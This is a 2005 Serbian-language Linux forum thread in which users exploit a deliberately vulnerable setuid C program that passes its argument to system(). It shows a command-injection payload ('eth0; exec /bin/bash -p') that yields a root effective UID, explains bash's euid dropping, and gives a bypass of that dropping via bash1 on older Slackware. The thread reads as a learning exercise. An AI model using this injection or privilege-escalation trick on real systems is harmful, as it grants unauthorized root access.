Početak › Forumi › Linuks › Opšte Linuks diskusije › Suid bit i tekstualne datoteke
- Ova tema ima 51 odgovor, 9 glasova, a poslednji put ju je ažurirao
maddox, 20 godina, 9 meseci ranije.
-
AutorČlanci
-
1. decembar 2005. u 5:38 pm #37902
japan
Učesnik[code]./a.out $(echo ” eth0″ && /bin/bash)[/code]
ali mi tu nešto baš nije kako sam očekivao…
1. decembar 2005. u 5:40 pm #37903popeye
KljučarProbaj:
[code]$ ./a.out “eth0; exec /bin/bash”[/code]
1. decembar 2005. u 5:45 pm #37904japan
Učesnikaha, nego kako ja da dobijem id 0?
1. decembar 2005. u 5:50 pm #37905popeye
KljučarHehe, bash zaštita od prenosa euida. 😉
[code]$ ./a.out “eth0; exec /bin/bash -p”
# id
uid=1000(popeye) gid=1000(popeye) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44(video),46(plugdev),107(lpadmin),108(scanner),109(admin),1000(popeye)[/code]Koji je euid? 😉
1. decembar 2005. u 5:57 pm #37906popeye
KljučarOpet, ponavljam, root privilegije dobijaš samo na Debianu i derivatima, ovo iznad je izlaz sa Ubuntu Breezy distribucije.
1. decembar 2005. u 6:00 pm #37907japan
Učesnikda, ovo na slack-u ne radi, ni sa -p…
koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?sad cu da probam sa exec…
edit: sad sam pazljivije procitao man system 🙂
1. decembar 2005. u 6:03 pm #37908popeye
KljučarAko unesemo proveru unosa, kako bismo onda zaobišli ovakav kod:
[code]#include
#includeint main(int argc, char *argv[]) {
char cmd[50] = “ifconfig “;
char interfejs[] = “eth0”;
if (strcmp(argv[1], interfejs)==0) {
strcat(cmd, argv[1]);
} else {
printf(“Argument “%s” nije mrezni interfejs!n”, argv[1]);
return 0;
}system(cmd);
return 0;}[/code]
Ima li još neko koga ovo interesuje pored japana?
Izmena: Ispravka koda.
1. decembar 2005. u 6:16 pm #37909popeye
Ključarda, ovo na slack-u ne radi, ni sa -p…
koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?sad cu da probam sa exec…
Bash2 odbacuje euid kada ga koristi system funkcija. Naredba “ifconfig eth0” u system() funkciji poziva ustvari “sh -c ifconfig eth0” i tada dolazi do odbacivanja euid vrednosti.
1. decembar 2005. u 6:26 pm #37910popeye
KljučarAko na sistemu imaš bash1 (starije verzije Slackware distribucije ga sigurno imaju), linkuj /bin/sh na /bin/bash1 i probaj onda, radiće.
Kako bi pokrenuo shell u ispravljenoj verziji koda?
1. decembar 2005. u 8:56 pm #37911japan
Učesnikza ovo već nisam siguran, možda neki ” ili tako nešto…
nisam se baš nešto mnogo bavio exploitovanjem…
-
AutorČlanci
Moraš biti prijavljen da bi postavio komentar u ovoj temi.